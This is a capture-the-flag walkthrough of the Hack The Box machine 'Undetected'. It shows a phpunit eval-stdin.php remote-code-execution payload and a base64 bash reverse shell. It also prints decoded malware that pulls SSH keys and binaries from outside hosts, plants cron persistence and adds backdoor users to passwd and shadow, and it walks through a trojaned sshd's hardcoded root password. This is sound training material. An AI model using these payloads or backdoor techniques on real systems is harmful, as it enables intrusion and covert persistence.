Undetected — HTB walkthrough
The official box page on HTB
The writeup:
System Scan | IP: 10.10.11.146
let's add the ip to to the /etc/hosts
file and name it undetected.htb
echo '10.10.11.146 undetected.htb ' >> /etc/hosts
startup nmap scan | -sC for the default set of scripts. | -sV for Enables version detection. | -T4 for sending the traffic fast.
nmap -sC -sV -T4 10.10.11.146
werz@ctf01:~/ctf/htb/undetected$ nmap -sC -sV -T4 10.10.11.146 2>/dev/null
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-06 02:41 +01
Nmap scan report for 10.10.11.146
Host is up (0.29s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Diana's Jewelry
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.26 seconds
Open Ports
Ports | Service | Takeaways |
---|---|---|
22 | SSH | OpenSSH 8.2 (protocol 2.0) |
80 | HTTP | Apache httpd 2.4.41 |
Enumeration | Web page
after a while we'll see the store subdomain store.djewelry.htb
in the page header href links. add it the hosts file
echo '10.10.11.146 store.djewelry.htb ' >> /etc/hosts
fire up gobuster may we'll get some interesting endpoints
gobuster dir -u http://store.djewelry.htb/ -w ~/opt/seclists/SecLists/Discovery/Web-Content/raft-small-words.txt
we see the vendor /vendor
endpoint, seems to have interesting stuff, including /vendor/composer/installed.json
, which could give information about what plugins are in use. composer is a PHP package management system.
werz@Arch:~/ctf/htb/undetected$ curl -s 'http://store.djewelry.htb/vendor/composer/installed.json' | jq -c '.[] | [.name, .version]'
["doctrine/instantiator","1.4.0"]
["myclabs/deep-copy","1.10.2"]
["phpdocumentor/reflection-common","2.2.0"]
["phpdocumentor/reflection-docblock","5.2.2"]
["phpdocumentor/type-resolver","1.4.0"]
["phpspec/prophecy","v1.10.3"]
["phpunit/php-code-coverage","4.0.8"]
["phpunit/php-file-iterator","1.4.5"]
["phpunit/php-text-template","1.2.1"]
["phpunit/php-timer","1.0.9"]
["phpunit/php-token-stream","2.0.2"]
["phpunit/phpunit","5.6.2"]
["phpunit/phpunit-mock-objects","3.4.4"]
["sebastian/code-unit-reverse-lookup","1.0.2"]
["sebastian/comparator","1.2.4"]
["sebastian/diff","1.4.3"]
["sebastian/environment","2.0.0"]
["sebastian/exporter","1.2.2"]
["sebastian/global-state","1.1.1"]
["sebastian/object-enumerator","1.0.0"]
["sebastian/recursion-context","1.0.5"]
["sebastian/resource-operations","1.0.0"]
["sebastian/version","2.0.1"]
["symfony/polyfill-ctype","v1.23.0"]
["symfony/yaml","v3.4.47"]
["webmozart/assert","1.10.0"]
Shell as www-data
moving throught the list to find some exploits with google, ends up with the phpunit
that have a exploit-db RCE, that aims to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
that also exists with the box. this probably passing a php code to eval that execute it.
[werz@Arch undetected]$ curl 'http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' -d '<?php echo hello ?>'
hello
it works well! let's get a shell then.
[werz@Arch undetected]$ echo "bash -i >& /dev/tcp/10.10.14.9/9001 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzkwMDEgMD4mMQo=
[werz@Arch undetected]$ export rev=YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzkwMDEgMD4mMQo=
[werz@Arch undetected]$ curl 'http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' -d '<?php system("echo '"$rev"'|base64 -d |bash"); ?>'
for the listener side we got a hit!
werz@Arch undetected]$ nc -lvnp 9001
Connection from 10.10.11.146:48018
bash: cannot set terminal process group (895): Inappropriate ioctl for device
bash: no job control in this shell
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$
i'll upgrade the shell:
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ export TERM=xterm
Shell as steven | PE
Enumeration
after some manual enumeration we've found the /var/backups
directory that has an unusual ELF file in it info
, Everything else there is owned by root except it that owned by www-data
so we have access to it.
www-data@production:/var/backups$ ls -l
total 64
-rw-r--r-- 1 root root 34011 Feb 8 19:05 apt.extended_states.0
-r-x------ 1 www-data www-data 27296 May 14 2021 info
www-data@production:/var/backups$ file info
info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped
executing it:
www-data@production:/var/backups$ ./info
[.] starting
[.] namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[-] substring 'ffff' not found in dmesg
it's probally a failed kernel exploit
I’ll copy the file into a website endpoint /var/www/main/images/
to analyse it:
www-data@production:/var/backups$ cp info /var/www/main
[werz@Arch user]$ curl undetected.htb/info -O info
if we run the strings
command for it dumps some interesting stuff,/bin/bash
after that some hexadecimal
[werz@Arch user]$ strings info
[-] substring '%s' not found in dmesg
ffff
/bin/bash
776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b
[-] fork()
/etc/shadow
[.] checking if we got root
if we convert the hex to text, we see a bash script gchq
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;
it seems that it have a scenario of a already hacked machine, it makes sense if we checked the users available.
steven@production:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
steven1:x:1000:1000:,,,:/home/steven:/bin/bash
it a common attack way.
let's try to crack the hash given in that bash script, i'm using john with the rockyou word list.
[werz@Arch user]$ echo '$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/' > hash
[werz@Arch user]$ john --wordlist=/home/werz/opt/rockyou.txt hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ihatehackers (?)
1g 0:00:00:27 DONE (2022-07-07 07:19) 0.03696g/s 3293p/s 3293c/s 3293C/s littlebird..hairy
Use the "--show" option to display all of the cracked passwords reliably
Session completed
well, the password is ihatehackers
let's get a shell!
the password will work for steven1
since they have the same UID, it will give a shell as steven, this is the concept of that binary file attack.
www-data@production:/var/backups$ su steven1
Password: ihatehackers
steven@production:/var/backups$
we also can get a ssh shell.
Shell as root | PE
There is mail in /var/mail/steven
steven@production:~$ cat /var/mail/steven
From root@production Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations
Hi Steven.
We recently updated the system but are still experiencing some strange behaviour with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.
Thanks,
sysadmin
steven@production:~$
we can look for files that created around the info
file date. 14 May 2021
steven@production:/var/backups$ ls -l info
-r-x------ 1 www-data www-data 27296 May 14 2021 info
steven@production:/var/backups$
I filtered the /usr/share
path because it has none interesting bunch of files.
steven@production:~$ find / -newermt 2021-05-14 ! -newermt 2021-05-20 -ls 2>/dev/null | grep -v "/usr/share"
198 1264 -rw-r--r-- 1 root root 1293928 May 19 2021 /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0
383 0 lrwxrwxrwx 1 root root 15 May 19 2021 /usr/lib/x86_64-linux-gnu/libX11.so.6 -> libX11.so.6.3.0
2050 36 -rw-r--r-- 1 root root 34800 May 17 2021 /usr/lib/apache2/modules/mod_reader.so
17565 28 -r-x------ 1 www-data www-data 27296 May 14 2021 /var/backups/info
136479 4 -rw-r--r-- 1 root root 73 May 19 2021 /var/lib/dpkg/info/libx11-6:amd64.triggers
135874 16 -rw-r--r-- 1 root root 14532 May 19 2021 /var/lib/dpkg/info/libx11-data.md5sums
141686 4 -rw-r--r-- 1 root root 43 May 14 2021 /var/lib/dpkg/info/update-notifier-common.triggers
136056 4 -rw-r--r-- 1 root root 73 May 19 2021 /var/lib/dpkg/info/libx11-6:amd64.shlibs
136215 32 -rw-r--r-- 1 root root 32605 May 19 2021 /var/lib/dpkg/info/libx11-6:amd64.symbols
136055 4 -rw-r--r-- 1 root root 427 May 19 2021 /var/lib/dpkg/info/libx11-6:amd64.md5sums
50834 4 -rw-r--r-- 1 root root 69 May 17 2021 /etc/apache2/mods-available/reader.load
50832 0 lrwxrwxrwx 1 root root 29 May 17 2021 /etc/apache2/mods-enabled/reader.load -> ../mods-available/reader.load
The file in /etc/apache2/mods-available
aims back to the mod_reader.so
that also modified on 17 may.
I'll copy it into my machine for analysing it
strings
also helps this time no need to use a decompiler lol,
just take a quick look at the results you'll see a familiar base64
[werz@Arch root]$ strings mod_reader.so
[]A\A]
D$(1
D$(dH+
reader
/bin/bash
mod_reader.c
d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk
;*3$"
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
42PA
GCC: (Debian 10.2.1-6) 10.2.1 20210110
[werz@Arch root]$ echo 'd2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk' | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
So It’s getting a sshd binary let's pull a copy as well.
I'll use ghidra for reversing the binary
if we look at the exports functions we see a lot of function that start with auth_
The auth_password
function seems a good place to start with. let's take a look.
There’s a variable called backdoor, checking the official source code for that function here we can see that has been changed.
I won't go in to the details of it work in short:
the variable is createdwith 31 bytes, then hex values in little endian format are stored in it and then XORed by 0x96
key length, Then the password is compared to that value, and if so the return value is set to one, and the rest of the function is skipped.
int auth_password(ssh *ssh,char *password)
{
Authctxt *ctxt;
passwd *ppVar1;
int iVar2;
uint uVar3;
byte *pbVar4;
byte *pbVar5;
size_t sVar6;
byte bVar7;
int iVar8;
long in_FS_OFFSET;
char backdoor [31];
byte local_39 [9];
long local_30;
bVar7 = 0xd6;
ctxt = (Authctxt *)ssh->authctxt;
local_30 = *(long *)(in_FS_OFFSET + 0x28);
backdoor._28_2_ = 0xa9f4;
ppVar1 = ctxt->pw;
iVar8 = ctxt->valid;
backdoor._24_4_ = 0xbcf0b5e3;
backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
backdoor[30] = -0x5b;
backdoor._0_4_ = 0xf0e7abd6;
backdoor._4_4_ = 0xa4b3a3f3;
backdoor._8_4_ = 0xf7bbfdc8;
backdoor._12_4_ = 0xfdb3d6e7;
pbVar4 = (byte *)backdoor;
while( true ) {
pbVar5 = pbVar4 + 1;
*pbVar4 = bVar7 ^ 0x96;
if (pbVar5 == local_39) break;
bVar7 = *pbVar5;
pbVar4 = pbVar5;
}
iVar2 = strcmp(password,backdoor);
uVar3 = 1;
if (iVar2 != 0) {
sVar6 = strlen(password);
uVar3 = 0;
if (sVar6 < 0x401) {
if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
iVar8 = 0;
}
if ((*password != '\0') ||
(uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
if (auth_password::expire_checked == 0) {
auth_password::expire_checked = 1;
iVar2 = auth_shadow_pwexpired(ctxt);
if (iVar2 != 0) {
ctxt->force_pwchange = 1;
}
}
iVar2 = sys_auth_passwd(ssh,password);
if (ctxt->force_pwchange != 0) {
auth_restrict_session(ssh);
}
uVar3 = (uint)(iVar2 != 0 && iVar8 != 0);
}
}
}
if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar3;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Decoding root password
A note, backdoor[30] is an invalid value of -0x5b, if you right click it in Ghidra you’ll see the correct value is 0xa5.
we need to decode the password that held by the backdoor variable, we can use a simple python loop script or even easier with CyberChef
So just like the function we’ve taken the values of backdoor, then converted from Little Endian to Hex and then XOR’d it. The result is the root password.
template: gchq
[werz@Arch root]$ ssh root@10.10.11.146
root@10.10.11.146's password:
Last login: Thu Jul 7 08:48:09 2022 from 10.10.14.9
root@production:~#
We are in!